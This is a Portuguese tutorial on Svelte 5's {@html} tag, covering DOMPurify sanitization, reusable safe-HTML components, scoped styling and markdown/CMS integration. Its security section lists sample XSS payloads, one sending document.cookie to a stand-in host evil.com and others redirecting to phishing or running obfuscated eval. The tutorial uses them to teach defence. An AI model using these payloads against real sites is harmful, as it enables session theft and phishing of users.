Injeção de HTML Bruto

Todo aplicativo web eventualmente encontra um cenário em que conteúdo HTML pré-formatado precisa ser renderizado diretamente no DOM. Seja para exibir texto rico de um CMS, renderizar conversões de markdown para HTML ou integrar conteúdo de terceiros, a tag @html do Svelte 5 fornece a saída do comportamento padrão de escape de texto do framework.

No entanto, esse poder vem com grande responsabilidade. A tag @html ignora a proteção integrada do Svelte contra ataques de Cross-Site Scripting (XSS), tornando-a um dos recursos mais sensíveis à segurança do seu conjunto de ferramentas. Entender quando usá-la, como se proteger contra vulnerabilidades e como estilizar corretamente o conteúdo injetado dinamicamente distinguirá aplicações robustas daquelas à espera de serem exploradas.

Este tutorial fornece um mergulho profundo em @html, cobrindo desde a sintaxe básica até padrões de segurança de nível empresarial, estratégias de estilização e cenários de integração do mundo real.

O Problema

Escape vs. Renderização

Por padrão, o Svelte trata todo conteúdo interpolado como texto, escapando automaticamente as entidades HTML para evitar ataques de injeção:

<script>
	let content = '<strong>Bold text</strong>'
</script>

<p>{content}</p>
<!-- Renders: <strong>Bold text</strong> (as visible text, not bold) -->

Esse comportamento é intencional e protetivo — se content viesse de uma entrada do usuário e contivesse <script>alert('hacked')</script>, o código malicioso seria exibido como texto inofensivo em vez de ser executado.

Mas e os casos de uso legítimos em que você realmente precisa que o HTML seja renderizado como HTML? É aqui que @html entra em cena.

Sintaxe Básica e Comportamento

A tag @html aceita qualquer expressão que avalie para uma string e a injeta diretamente no DOM:

<script>
	let content = '<strong>Bold text</strong>'
</script>

<article>
	{@html content}
</article>
<!-- Renders: Bold text (actually bold) -->

A expressão dentro de @html deve produzir HTML válido e independente. O Svelte não analisa nem valida o HTML — ele simplesmente o insere no DOM usando innerHTML por baixo dos panos.

O Que Constitui HTML Válido?

O HTML deve ser completo e bem formado quando considerado de forma isolada. Isso significa que você não pode dividir tags em múltiplas expressões @html:

<!-- AVOID: Split tags don't work -->
{@html '<div>'}
Some content here
{@html '</div>'}

<!-- PREFERRED: Complete HTML structure -->
{@html '<div>Some content here</div>'}

A razão para essa limitação está em como os navegadores analisam o HTML. Quando o Svelte injeta <div> como uma string independente, o analisador HTML do navegador tenta criar um elemento completo, frequentemente fechando-o automaticamente de imediato. O </div> subsequente então se torna uma tag de fechamento órfã.

Conteúdo HTML Reativo

A expressão @html é totalmente reativa. Quando o valor da expressão muda, o Svelte substitui todo o conteúdo injetado:

<script>
	let theme = $state<'light' | 'dark'>('light')

	let styledContent = $derived(
		theme === 'light'
			? '<p style="color: #333;">Light mode content</p>'
			: '<p style="color: #ccc;">Dark mode content</p>'
	)
</script>

<button onclick={() => (theme = theme === 'light' ? 'dark' : 'light')}> Toggle Theme </button>

<div>
	{@html styledContent}
</div>

Cada vez que theme muda, todo o conteúdo HTML é substituído. Isso é importante de entender porque qualquer estado do DOM (como a posição de rolagem dentro do conteúdo injetado, ou o estado de foco) será perdido nas atualizações.

Consideração Crítica de Segurança

Ataques XSS

Nunca use @html com conteúdo não confiável ou fornecido pelo usuário sem sanitização.

Ataques de Cross-Site Scripting (XSS) ocorrem quando scripts maliciosos são injetados em páginas web visualizadas por outros usuários. A tag @html é um vetor direto para tais ataques se usada incorretamente:

<script>
	// DANGEROUS: User-provided content
	let userComment = '<img src="x" onerror="alert(\'XSS Attack!\')">'
</script>

<!-- This executes the malicious script! -->
{@html userComment}

Quando renderizado, o navegador tenta carregar a imagem inexistente, falha e executa o handler onerror — executando JavaScript arbitrário no contexto da sua aplicação.

Vetores de Ataque do Mundo Real

Entender os payloads XSS comuns ajuda a perceber por que a sanitização não é negociável:

// Event handler injection
'<svg onload="fetch(\'https://evil.com/steal?cookie=\'+document.cookie)">'

// Script tag injection
'<script>document.location="https://evil.com/phish"</script>'

// Data URI exploitation
'<a href="javascript:alert(document.cookie)">Click me</a>'

// CSS-based attacks
'<style>body{background:url("https://evil.com/track")}</style>'

// Nested encoding attacks
'<img src=x onerror="eval(atob(\'YWxlcnQoJ1hTUycpOw==\'))">'

Esses payloads podem roubar cookies, redirecionar usuários para sites de phishing, rastrear o comportamento do usuário ou realizar ações em nome de usuários autenticados.

A Solução

Sanitização de HTML com DOMPurify

DOMPurify é a biblioteca padrão da indústria para sanitização de conteúdo HTML. Ela remove elementos e atributos perigosos enquanto preserva HTML seguro e estrutural:

npm install dompurify
npm install --save-dev @types/dompurify

Padrão Básico de Sanitização

<script lang="ts">
	import DOMPurify from 'dompurify'

	interface Props {
		rawHtml: string
	}

	let { rawHtml }: Props = $props()

	let safeHtml = $derived(DOMPurify.sanitize(rawHtml))
</script>

<div class="content">
	{@html safeHtml}
</div>

DOMPurify remove o conteúdo perigoso enquanto preserva os elementos seguros:

import DOMPurify from 'dompurify'

// Malicious input
DOMPurify.sanitize('<img src=x onerror=alert(1)//>')
// Returns: '<img src="x">'

// Script injection
DOMPurify.sanitize('<script>alert("XSS")</script><p>Safe content</p>')
// Returns: '<p>Safe content</p>'

// SVG-based attacks
DOMPurify.sanitize('<svg><g/onload=alert(2)//<p>')
// Returns: '<svg><g></g></svg>'

// Data URI in iframes
DOMPurify.sanitize('<p>abc<iframe//src=jAva&Tab;script:alert(3)>def</p>')
// Returns: '<p>abc</p>'

Criando um Componente SafeHtml Reutilizável

Para segurança consistente em toda a sua aplicação, crie um componente dedicado:

<!-- SafeHtml.svelte -->
<script lang="ts">
	import DOMPurify from 'dompurify'
	import type { Config } from 'dompurify'

	interface Props {
		html: string
		config?: Config
		class?: string
	}

	let { html, config = {}, class: className = '' }: Props = $props()

	// Default secure configuration
	const defaultConfig: Config = {
		ALLOWED_TAGS: [
			'p',
			'br',
			'strong',
			'em',
			'u',
			's',
			'a',
			'ul',
			'ol',
			'li',
			'h1',
			'h2',
			'h3',
			'h4',
			'h5',
			'h6',
			'blockquote',
			'code',
			'pre',
			'img',
			'figure',
			'figcaption',
			'table',
			'thead',
			'tbody',
			'tr',
			'th',
			'td',
			'div',
			'span',
			'article',
			'section',
			'header',
			'footer'
		],
		ALLOWED_ATTR: [
			'href',
			'src',
			'alt',
			'title',
			'class',
			'id',
			'target',
			'rel',
			'width',
			'height',
			'loading'
		],
		ALLOW_DATA_ATTR: false,
		ADD_ATTR: ['target'],
		FORBID_TAGS: ['style', 'script', 'iframe', 'form', 'input', 'button'],
		FORBID_ATTR: ['onerror', 'onload', 'onclick', 'onmouseover']
	}

	let safeHtml = $derived(DOMPurify.sanitize(html, { ...defaultConfig, ...config }))
</script>

<div class={className}>
	{@html safeHtml}
</div>

Uso em toda a sua aplicação:

<script>
	import SafeHtml from '$lib/components/SafeHtml.svelte'

	let cmsContent = $state('')

	// Fetch from CMS...
</script>

<SafeHtml html={cmsContent} class="prose" />

Configuração Avançada do DOMPurify

Para casos de uso específicos, o DOMPurify oferece controle granular:

<script lang="ts">
	import DOMPurify from 'dompurify'

	// Allow only specific link protocols
	const sanitizeWithProtocols = (html: string) => {
		return DOMPurify.sanitize(html, {
			ALLOWED_URI_REGEXP: /^(?:(?:https?|mailto|tel):|[^a-z]|[a-z+.-]+(?:[^a-z+.\-:]|$))/i
		})
	}

	// Preserve specific custom elements (Web Components)
	const sanitizeWithCustomElements = (html: string) => {
		return DOMPurify.sanitize(html, {
			CUSTOM_ELEMENT_HANDLING: {
				tagNameCheck: /^my-/, // Allow elements starting with 'my-'
				attributeNameCheck: /^data-/, // Allow data attributes
				allowCustomizedBuiltInElements: false
			}
		})
	}

	// Strict sanitization for comments/user content
	const sanitizeUserContent = (html: string) => {
		return DOMPurify.sanitize(html, {
			ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'a'],
			ALLOWED_ATTR: ['href'],
			ALLOW_DATA_ATTR: false
		})
	}
</script>

Sanitização no Lado do Servidor com isomorphic-dompurify

Para aplicações SvelteKit com SSR, use isomorphic-dompurify, que funciona tanto no navegador quanto em ambientes Node.js:

npm install isomorphic-dompurify

<script lang="ts">
	import DOMPurify from 'isomorphic-dompurify'

	interface Props {
		html: string
	}

	let { html }: Props = $props()

	let safeHtml = $derived(DOMPurify.sanitize(html))
</script>

{@html safeHtml}

Estilizando Conteúdo HTML Injetado

O conteúdo renderizado via @html existe fora do escopo de consciência do componente Svelte. Isso significa que os estilos com escopo do Svelte não serão aplicados aos elementos injetados dinamicamente.

O Problema de Escopo

<script>
	let content = '<p class="highlight">This paragraph</p>'
</script>

<article>
	{@html content}
</article>

<style>
	/* AVOID: This won't work - Svelte marks it as unused */
	article p {
		color: blue;
	}

	.highlight {
		background: yellow;
	}
</style>

O compilador do Svelte analisa seu template em tempo de build e adiciona identificadores de classe únicos aos elementos que encontra. Como os elementos <p> e .highlight não existem no template (eles são injetados em tempo de execução), o Svelte considera esses estilos não utilizados e pode removê-los.

1. O Modificador `:global`

Use :global para escapar do escopo do Svelte, mas limite-o a um contêiner para evitar vazamentos:

<script>
	let content = '<p class="highlight">Styled paragraph</p><a href="#">Link</a>'
</script>

<article class="html-content">
	{@html content}
</article>

<style>
	.html-content {
		/* Container styles remain scoped */
		padding: 1rem;
		border: 1px solid #ddd;
	}

	/* All descendants of .html-content are globally styled */
	.html-content :global {
		p {
			color: #333;
			line-height: 1.6;
			margin-bottom: 1rem;
		}

		a {
			color: hotpink;
			text-decoration: underline;
		}

		.highlight {
			background: yellow;
			padding: 0.25rem;
		}

		img {
			max-width: 100%;
			height: auto;
		}

		pre {
			background: #f4f4f4;
			padding: 1rem;
			overflow-x: auto;
		}

		code {
			font-family: 'Fira Code', monospace;
			font-size: 0.9em;
		}

		blockquote {
			border-left: 4px solid #ddd;
			padding-left: 1rem;
			margin-left: 0;
			font-style: italic;
		}
	}
</style>

2. Propriedades Customizadas de CSS para Temas

Utilize propriedades customizadas de CSS para tornar o conteúdo injetado configurável por temas:

<script>
	let content = '<p>Themed paragraph</p><a href="#">Themed link</a>'
	let theme = $state<'light' | 'dark'>('light')
</script>

<article class="html-content" class:dark={theme === 'dark'}>
	{@html content}
</article>

<button onclick={() => (theme = theme === 'light' ? 'dark' : 'light')}> Toggle Theme </button>

<style>
	.html-content {
		--text-color: #333;
		--link-color: #0066cc;
		--bg-color: #fff;
		--code-bg: #f4f4f4;

		background: var(--bg-color);
		padding: 1.5rem;
		transition: all 0.3s ease;
	}

	.html-content.dark {
		--text-color: #e0e0e0;
		--link-color: #66b3ff;
		--bg-color: #1a1a1a;
		--code-bg: #2d2d2d;
	}

	.html-content :global {
		p,
		li,
		td {
			color: var(--text-color);
		}

		a {
			color: var(--link-color);
		}

		pre,
		code {
			background: var(--code-bg);
		}
	}
</style>

3. Utilitários com Tailwind CSS

Se você estiver usando o Tailwind, o plugin @tailwindcss/typography fornece uma excelente estilização de prosa:

npm install @tailwindcss/typography

<script>
	let content = '<h2>Article Title</h2><p>Rich formatted content...</p>'
</script>

<article class="prose prose-lg dark:prose-invert max-w-none">
	{@html content}
</article>

As classes prose estilizam automaticamente todos os elementos HTML comuns com padrões tipográficos adequados.

Padrões de Integração no Mundo Real

Escolhendo a Ferramenta Certa: mdsvex vs Parsing em Tempo de Execução

Antes de mergulhar nos padrões de renderização de markdown, é fundamental entender quando o @html com parsing em tempo de execução é adequado versus quando você deve usar o mdsvex — um pré-processador de markdown em tempo de build para Svelte.

Aspecto	mdsvex	Parsers em Tempo de Execução (marked, etc.)
Quando executa	Tempo de build (pré-processador)	Tempo de execução (browser/servidor)
Entrada	Arquivos `.md` / `.svx` no seu projeto	Strings de markdown de qualquer fonte
Saída	Componentes Svelte compilados	Strings HTML que requerem `@html`
Caso de uso	Conteúdo estático (posts de blog, docs)	Conteúdo dinâmico (CMS, entrada do usuário, APIs)
Componentes Svelte no markdown	✅ Totalmente suportado	❌ Não é possível
Requer sanitização	Não (fonte confiável)	Sim (sempre sanitize)

Use o mdsvex quando:

Você está construindo um blog ou site de documentação com SvelteKit
Os arquivos de markdown existem no seu projeto em tempo de build
Você quer incorporar componentes Svelte dentro do markdown
O conteúdo é escrito por desenvolvedores confiáveis

<!-- src/routes/blog/my-post.md - Processed by mdsvex at BUILD time -->
--- title: My Blog Post --- # Hello World

<CustomAlert type="info"> This Svelte component works inside markdown! </CustomAlert>

No `@html` needed—this becomes a real Svelte component.

Use parsers em tempo de execução (marked, unified, etc.) com @html quando:

O conteúdo vem de uma API de CMS em tempo de execução
Usuários submetem markdown em formulários ou comentários
O markdown está armazenado em um banco de dados
O conteúdo não existe até que a aplicação esteja em execução

<script>
	// Content fetched at runtime - must use {@html}
	let { data } = $props()
	let html = $derived(marked.parse(data.cmsContent))
</script>

{@html DOMPurify.sanitize(html)}

Padrões para Injeção Dinâmica de HTML

Os padrões abaixo focam em cenários de tempo de execução onde @html é necessário. Para conteúdo markdown estático no SvelteKit, configure o mdsvex no seu svelte.config.js.

1. Renderização de Markdown

Quando o conteúdo markdown chega em tempo de execução (de APIs, bancos de dados ou entrada do usuário), use um parser em tempo de execução como o marked:

npm install marked dompurify
npm install --save-dev @types/dompurify

<!-- MarkdownRenderer.svelte -->
<script lang="ts">
	import { marked } from 'marked'
	import DOMPurify from 'dompurify'

	interface Props {
		source: string
		class?: string
	}

	let { source, class: className = '' }: Props = $props()

	// Configure marked for security
	marked.setOptions({
		gfm: true, // GitHub Flavored Markdown
		breaks: true // Convert \n to <br>
	})

	let html = $derived.by(() => {
		const rawHtml = marked.parse(source) as string
		return DOMPurify.sanitize(rawHtml, {
			USE_PROFILES: { html: true }
		})
	})
</script>

<div class="markdown-content {className}">
	{@html html}
</div>

<style>
	.markdown-content :global {
		h1,
		h2,
		h3,
		h4,
		h5,
		h6 {
			margin-top: 1.5em;
			margin-bottom: 0.5em;
			font-weight: 600;
		}

		h1 {
			font-size: 2rem;
		}
		h2 {
			font-size: 1.5rem;
		}
		h3 {
			font-size: 1.25rem;
		}

		p {
			margin-bottom: 1rem;
			line-height: 1.7;
		}

		ul,
		ol {
			margin-bottom: 1rem;
			padding-left: 1.5rem;
		}

		li {
			margin-bottom: 0.25rem;
		}

		code {
			background: #f0f0f0;
			padding: 0.125rem 0.25rem;
			border-radius: 0.25rem;
			font-size: 0.875em;
		}

		pre {
			background: #1e1e1e;
			color: #d4d4d4;
			padding: 1rem;
			border-radius: 0.5rem;
			overflow-x: auto;
			margin-bottom: 1rem;
		}

		pre code {
			background: transparent;
			padding: 0;
			color: inherit;
		}

		blockquote {
			border-left: 4px solid #3b82f6;
			padding-left: 1rem;
			margin: 1rem 0;
			color: #666;
			font-style: italic;
		}

		a {
			color: #3b82f6;
			text-decoration: underline;
		}

		a:hover {
			color: #2563eb;
		}

		img {
			max-width: 100%;
			height: auto;
			border-radius: 0.5rem;
		}

		table {
			width: 100%;
			border-collapse: collapse;
			margin-bottom: 1rem;
		}

		th,
		td {
			border: 1px solid #ddd;
			padding: 0.5rem;
			text-align: left;
		}

		th {
			background: #f5f5f5;
			font-weight: 600;
		}

		hr {
			border: none;
			border-top: 1px solid #ddd;
			margin: 2rem 0;
		}
	}
</style>

Uso:

<script>
	import MarkdownRenderer from '$lib/components/MarkdownRenderer.svelte'

	let markdown = `
# Welcome to My Blog

This is a **bold** statement with some *italic* text.

## Code Example

\`\`\`javascript
const greeting = 'Hello, World!';
console.log(greeting);
\`\`\`

> A wise quote goes here.

- List item 1
- List item 2
- List item 3
  `
</script>

<MarkdownRenderer source={markdown} class="prose-lg" />

2. Integração com Conteúdo de CMS

Ao buscar conteúdo HTML de um CMS headless:

<!-- CmsContent.svelte -->
<script lang="ts">
	import DOMPurify from 'isomorphic-dompurify'
	import { onMount } from 'svelte'

	interface Props {
		content: string
		allowIframes?: boolean
		allowEmbeds?: boolean
	}

	let { content, allowIframes = false, allowEmbeds = false }: Props = $props()

	// Build configuration based on props
	let config = $derived.by(() => {
		const baseConfig = {
			ALLOWED_TAGS: [
				'p',
				'br',
				'strong',
				'em',
				'u',
				's',
				'a',
				'ul',
				'ol',
				'li',
				'h1',
				'h2',
				'h3',
				'h4',
				'h5',
				'h6',
				'blockquote',
				'code',
				'pre',
				'img',
				'figure',
				'figcaption',
				'table',
				'thead',
				'tbody',
				'tr',
				'th',
				'td',
				'div',
				'span',
				'article',
				'section',
				'aside'
			],
			ALLOWED_ATTR: [
				'href',
				'src',
				'alt',
				'title',
				'class',
				'id',
				'target',
				'rel',
				'width',
				'height',
				'loading',
				'srcset',
				'sizes'
			]
		}

		if (allowIframes) {
			baseConfig.ALLOWED_TAGS.push('iframe')
			baseConfig.ALLOWED_ATTR.push('frameborder', 'allowfullscreen', 'allow')
		}

		if (allowEmbeds) {
			baseConfig.ALLOWED_TAGS.push('video', 'audio', 'source', 'embed')
			baseConfig.ALLOWED_ATTR.push('controls', 'autoplay', 'loop', 'muted', 'type')
		}

		return baseConfig
	})

	let safeContent = $derived(DOMPurify.sanitize(content, config))

	// Post-process links to add security attributes
	let container: HTMLElement | null = $state(null)

	$effect(() => {
		if (container) {
			// Add rel="noopener noreferrer" to external links
			const links = container.querySelectorAll('a[href^="http"]')
			links.forEach((link) => {
				link.setAttribute('rel', 'noopener noreferrer')
				link.setAttribute('target', '_blank')
			})

			// Add loading="lazy" to images
			const images = container.querySelectorAll('img')
			images.forEach((img) => {
				img.setAttribute('loading', 'lazy')
			})
		}
	})
</script>

<div class="cms-content" bind:this={container}>
	{@html safeContent}
</div>

<style>
	.cms-content :global {
		/* Typography */
		font-family:
			system-ui,
			-apple-system,
			sans-serif;
		line-height: 1.7;
		color: #333;

		/* Headings */
		h1,
		h2,
		h3 {
			margin-top: 2rem;
			margin-bottom: 1rem;
			line-height: 1.3;
		}

		/* Paragraphs */
		p {
			margin-bottom: 1.25rem;
		}

		/* Links */
		a {
			color: #0066cc;
			text-decoration: none;
			border-bottom: 1px solid transparent;
			transition: border-color 0.2s;
		}

		a:hover {
			border-bottom-color: currentColor;
		}

		/* Images */
		img {
			max-width: 100%;
			height: auto;
			border-radius: 8px;
		}

		figure {
			margin: 2rem 0;
		}

		figcaption {
			text-align: center;
			font-size: 0.875rem;
			color: #666;
			margin-top: 0.5rem;
		}

		/* Iframes (videos, embeds) */
		iframe {
			max-width: 100%;
			border-radius: 8px;
		}
	}
</style>

3. Realce de Sintaxe para Blocos de Código

Integrando com bibliotecas de realce de sintaxe:

npm install highlight.js

<!-- CodeBlock.svelte -->
<script lang="ts">
	import hljs from 'highlight.js'
	import DOMPurify from 'dompurify'

	interface Props {
		code: string
		language?: string
	}

	let { code, language = 'plaintext' }: Props = $props()

	let highlightedCode = $derived.by(() => {
		try {
			const result =
				language && hljs.getLanguage(language)
					? hljs.highlight(code, { language })
					: hljs.highlightAuto(code)

			// highlight.js output is safe, but sanitize anyway for defense in depth
			return DOMPurify.sanitize(result.value, {
				ALLOWED_TAGS: ['span'],
				ALLOWED_ATTR: ['class']
			})
		} catch {
			// Fallback to escaped plain text
			return DOMPurify.sanitize(code)
		}
	})
</script>

<pre class="code-block"><code class="hljs language-{language}">{@html highlightedCode}</code></pre>

<style>
	.code-block {
		background: #1e1e1e;
		border-radius: 8px;
		padding: 1rem;
		overflow-x: auto;
		font-family: 'Fira Code', 'Consolas', monospace;
		font-size: 0.875rem;
		line-height: 1.5;
	}

	.code-block :global {
		/* highlight.js theme tokens */
		.hljs-keyword {
			color: #569cd6;
		}
		.hljs-string {
			color: #ce9178;
		}
		.hljs-number {
			color: #b5cea8;
		}
		.hljs-function {
			color: #dcdcaa;
		}
		.hljs-comment {
			color: #6a9955;
		}
		.hljs-variable {
			color: #9cdcfe;
		}
		.hljs-built_in {
			color: #4ec9b0;
		}
	}
</style>

4. Saída de Editor de Texto Rico

Manipulando conteúdo de editores WYSIWYG como TipTap, Quill ou CKEditor:

<!-- RichTextDisplay.svelte -->
<script lang="ts">
	import DOMPurify from 'dompurify'

	interface Props {
		html: string
		editorType?: 'tiptap' | 'quill' | 'ckeditor'
	}

	let { html, editorType = 'tiptap' }: Props = $props()

	// Editor-specific configurations
	const editorConfigs = {
		tiptap: {
			ALLOWED_TAGS: [
				'p',
				'br',
				'strong',
				'em',
				'u',
				's',
				'a',
				'ul',
				'ol',
				'li',
				'h1',
				'h2',
				'h3',
				'blockquote',
				'code',
				'pre',
				'hr',
				'img',
				'table',
				'thead',
				'tbody',
				'tr',
				'th',
				'td'
			],
			ALLOWED_ATTR: ['href', 'src', 'alt', 'class', 'colspan', 'rowspan']
		},
		quill: {
			ALLOWED_TAGS: [
				'p',
				'br',
				'strong',
				'em',
				'u',
				's',
				'a',
				'ul',
				'ol',
				'li',
				'h1',
				'h2',
				'h3',
				'blockquote',
				'pre',
				'img',
				'span'
			],
			ALLOWED_ATTR: ['href', 'src', 'alt', 'class', 'style'],
			ALLOW_DATA_ATTR: true
		},
		ckeditor: {
			ALLOWED_TAGS: [
				'p',
				'br',
				'strong',
				'em',
				'u',
				's',
				'a',
				'ul',
				'ol',
				'li',
				'h1',
				'h2',
				'h3',
				'h4',
				'blockquote',
				'pre',
				'hr',
				'img',
				'figure',
				'figcaption',
				'table',
				'thead',
				'tbody',
				'tr',
				'th',
				'td',
				'div',
				'span'
			],
			ALLOWED_ATTR: ['href', 'src', 'alt', 'class', 'style', 'width', 'height']
		}
	}

	let safeHtml = $derived(DOMPurify.sanitize(html, editorConfigs[editorType]))
</script>

<div class="rich-text-content editor-{editorType}">
	{@html safeHtml}
</div>

Dificuldades Comuns e Soluções

1. Estilos Não Sendo Aplicados

Problema: Você escreveu CSS para conteúdo injetado, mas nada está estilizado.

Causa: Os estilos com escopo do Svelte não alcançam elementos injetados dinamicamente.

Solução: Use o modificador :global com escopo em um contêiner:

<style>
	/* Scope global styles to prevent leakage */
	.my-container :global {
		p {
			color: blue;
		}
		a {
			color: red;
		}
	}
</style>

2. Avisos de Vulnerabilidade XSS em Auditorias de Segurança

Problema: Scanners de segurança apontam o uso de @html como uma vulnerabilidade.

Solução: Sempre sanitize e documente sua abordagem:

<script lang="ts">
	import DOMPurify from 'isomorphic-dompurify'

	/**
	 * @security This component sanitizes all HTML input using DOMPurify
	 * with a strict allowlist configuration. See security documentation
	 * for approved usage patterns.
	 */
	let safeHtml = $derived(DOMPurify.sanitize(html, STRICT_CONFIG))
</script>

3. Manipuladores de Eventos Não Funcionando em Elementos Injetados

Problema: Você quer adicionar handlers de clique em links do HTML injetado.

Causa: Os manipuladores de eventos do Svelte funcionam apenas em elementos do template, não no conteúdo injetado.

Solução: Use delegação de eventos:

<script lang="ts">
	import DOMPurify from 'dompurify'

	let { html }: { html: string } = $props()

	function handleClick(event: MouseEvent) {
		const target = event.target as HTMLElement

		// Check if clicked element is a link
		if (target.tagName === 'A') {
			event.preventDefault()
			const href = target.getAttribute('href')
			console.log('Link clicked:', href)
			// Handle navigation, analytics, etc.
		}
	}
</script>

<!-- svelte-ignore a11y_click_events_have_key_events -->
<!-- svelte-ignore a11y_no_static_element_interactions -->
<div onclick={handleClick}>
	{@html DOMPurify.sanitize(html)}
</div>

4. Estado do DOM Perdido em Atualizações Reativas

Problema: A posição de scroll do usuário, entradas de formulário ou estado de foco desaparecem quando o conteúdo é atualizado.

Causa: O @html substitui toda a subárvore do DOM a cada atualização reativa.

Solução: Use blocos {#key} para controlar quando a substituição acontece, ou armazene em cache o resultado sanitizado:

<script lang="ts">
	import DOMPurify from 'dompurify'

	let { html }: { html: string } = $props()

	// Only re-sanitize when html actually changes
	let lastHtml = ''
	let cachedSafeHtml = ''

	let safeHtml = $derived.by(() => {
		if (html !== lastHtml) {
			lastHtml = html
			cachedSafeHtml = DOMPurify.sanitize(html)
		}
		return cachedSafeHtml
	})
</script>

5. Incompatibilidades de Hidratação no SSR

Problema: Avisos no console sobre incompatibilidades de hidratação ao usar @html com SSR.

Causa: O servidor e o cliente produzem resultados de sanitização diferentes, ou o conteúdo muda entre a renderização no servidor e a hidratação no cliente.

Solução: Garanta sanitização consistente usando isomorphic-dompurify e evite APIs exclusivas do browser durante o SSR:

<script lang="ts">
	import DOMPurify from 'isomorphic-dompurify'
	import { browser } from '$app/environment'

	let { html }: { html: string } = $props()

	// Use consistent configuration on both server and client
	const config = {
		ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'a'],
		ALLOWED_ATTR: ['href']
	}

	let safeHtml = $derived(DOMPurify.sanitize(html, config))
</script>

{@html safeHtml}

6. Flash de Conteúdo ao Carregar

Problema: Conteúdo sem estilo aparece brevemente antes dos estilos serem aplicados.

Solução: Use um estado de carregamento ou contenção CSS:

<script lang="ts">
	let { html }: { html: string } = $props()
	let loaded = $state(false)

	$effect(() => {
		// Give browser time to parse and apply styles
		requestAnimationFrame(() => {
			loaded = true
		})
	})
</script>

<div class="content" class:loaded>
	{@html html}
</div>

<style>
	.content {
		opacity: 0;
		transition: opacity 0.2s;
	}

	.content.loaded {
		opacity: 1;
	}
</style>

Integração com TypeScript

Padrões com tipagem segura para uso de @html:

// types.ts

/**
 * Represents HTML content that has been sanitized and is safe to render.
 * This branded type helps prevent accidental rendering of unsanitized HTML.
 */
export type SanitizedHtml = string & { readonly __brand: 'SanitizedHtml' }

/**
 * Sanitization configuration presets
 */
export type SanitizationPreset = 'strict' | 'moderate' | 'permissive'

export interface SanitizationConfig {
	allowedTags: string[]
	allowedAttributes: string[]
	allowDataAttributes: boolean
	allowIframes: boolean
}

<!-- TypedSafeHtml.svelte -->
<script lang="ts">
	import DOMPurify from 'isomorphic-dompurify'
	import type { SanitizedHtml, SanitizationPreset, SanitizationConfig } from './types'

	const presets: Record<SanitizationPreset, Partial<SanitizationConfig>> = {
		strict: {
			allowedTags: ['p', 'br', 'strong', 'em'],
			allowedAttributes: [],
			allowDataAttributes: false,
			allowIframes: false
		},
		moderate: {
			allowedTags: ['p', 'br', 'strong', 'em', 'a', 'ul', 'ol', 'li', 'code', 'pre'],
			allowedAttributes: ['href', 'class'],
			allowDataAttributes: false,
			allowIframes: false
		},
		permissive: {
			allowedTags: [
				'p',
				'br',
				'strong',
				'em',
				'a',
				'ul',
				'ol',
				'li',
				'code',
				'pre',
				'h1',
				'h2',
				'h3',
				'h4',
				'h5',
				'h6',
				'blockquote',
				'img',
				'figure',
				'figcaption'
			],
			allowedAttributes: ['href', 'src', 'alt', 'class', 'title'],
			allowDataAttributes: true,
			allowIframes: false
		}
	}

	interface Props {
		html: string
		preset?: SanitizationPreset
		customConfig?: Partial<SanitizationConfig>
	}

	let { html, preset = 'moderate', customConfig }: Props = $props()

	function sanitize(rawHtml: string): SanitizedHtml {
		const config = { ...presets[preset], ...customConfig }

		const result = DOMPurify.sanitize(rawHtml, {
			ALLOWED_TAGS: config.allowedTags,
			ALLOWED_ATTR: config.allowedAttributes,
			ALLOW_DATA_ATTR: config.allowDataAttributes
		})

		return result as SanitizedHtml
	}

	let safeHtml = $derived(sanitize(html))
</script>

{@html safeHtml}

Considerações de Performance

Memoizando a Sanitização

Para conteúdo HTML extenso ou atualizações frequentes, memoize a sanitização:

<script lang="ts">
	import DOMPurify from 'dompurify'

	interface Props {
		html: string
	}

	let { html }: Props = $props()

	// Simple memoization
	const cache = new Map<string, string>()

	let safeHtml = $derived.by(() => {
		const cached = cache.get(html)
		if (cached) return cached

		const sanitized = DOMPurify.sanitize(html)

		// Limit cache size
		if (cache.size > 100) {
			const firstKey = cache.keys().next().value
			cache.delete(firstKey)
		}

		cache.set(html, sanitized)
		return sanitized
	})
</script>

Carregamento Lazy de Conteúdo Pesado

Para páginas com muitos blocos @html:

<script lang="ts">
	import DOMPurify from 'dompurify'

	interface Props {
		html: string
	}

	let { html }: Props = $props()

	let visible = $state(false)
	let container: HTMLElement

	$effect(() => {
		const observer = new IntersectionObserver(
			([entry]) => {
				if (entry.isIntersecting) {
					visible = true
					observer.disconnect()
				}
			},
			{ rootMargin: '100px' }
		)

		observer.observe(container)

		return () => observer.disconnect()
	})

	let safeHtml = $derived(visible ? DOMPurify.sanitize(html) : '')
</script>

<div bind:this={container} class="lazy-html">
	{#if visible}
		{@html safeHtml}
	{:else}
		<div class="placeholder">Loading...</div>
	{/if}
</div>

Resumo de Boas Práticas

Nunca confie na entrada do usuário: Sempre sanitize HTML de qualquer fonte externa, incluindo seu próprio banco de dados se os usuários puderem influenciar o conteúdo.
Use DOMPurify ou equivalente: Não escreva lógica de sanitização personalizada; use bibliotecas testadas e mantidas por pesquisadores de segurança.
Prefira listas de permissões a listas de bloqueio: Liste explicitamente o que é permitido em vez de tentar bloquear padrões maliciosos conhecidos.
Escopo seus estilos globais: Ao usar :global, sempre aplique escopo a uma classe de contêiner para evitar vazamento de estilos.
Use isomorphic-dompurify para SSR: Garanta comportamento consistente entre a renderização no servidor e no cliente.
Documente decisões de segurança: Comente seu código para explicar por que determinadas tags/atributos são permitidos.
Considere a Política de Segurança de Conteúdo: Adicione cabeçalhos CSP à sua aplicação como uma camada adicional de defesa.
Audite regularmente: Revise periodicamente o uso de @html em sua base de código e atualize as regras de sanitização.
Teste com payloads maliciosos: Inclua casos de teste de XSS em sua suíte de testes para verificar se a sanitização funciona corretamente.
Crie componentes reutilizáveis: Centralize o uso de @html em componentes dedicados com configurações de segurança consistentes.

Conclusão

A tag @html é uma ferramenta poderosa que preenche a lacuna entre a abordagem segura por padrão do Svelte e a realidade de que muitas aplicações precisam renderizar conteúdo HTML dinâmico. Ao entender suas implicações e implementar a sanitização adequada, você pode utilizar esse recurso com segurança para conteúdo de CMS, renderização de Markdown, realce de sintaxe e outros casos de uso legítimos.

A chave é tratar @html como uma operação sensível à segurança que requer o mesmo cuidado que você daria a consultas de banco de dados ou lógica de autenticação. Com o DOMPurify cuidando da sanitização e as estratégias de estilo adequadas em vigor, você pode renderizar conteúdo HTML rico com confiança enquanto mantém uma postura de segurança robusta.

Principais Conclusões

{@html} renderiza strings HTML brutas sem escapar, tornando-o essencial para conteúdo de CMS, renderização de Markdown e realce de sintaxe, mas exigindo proteção rigorosa contra XSS
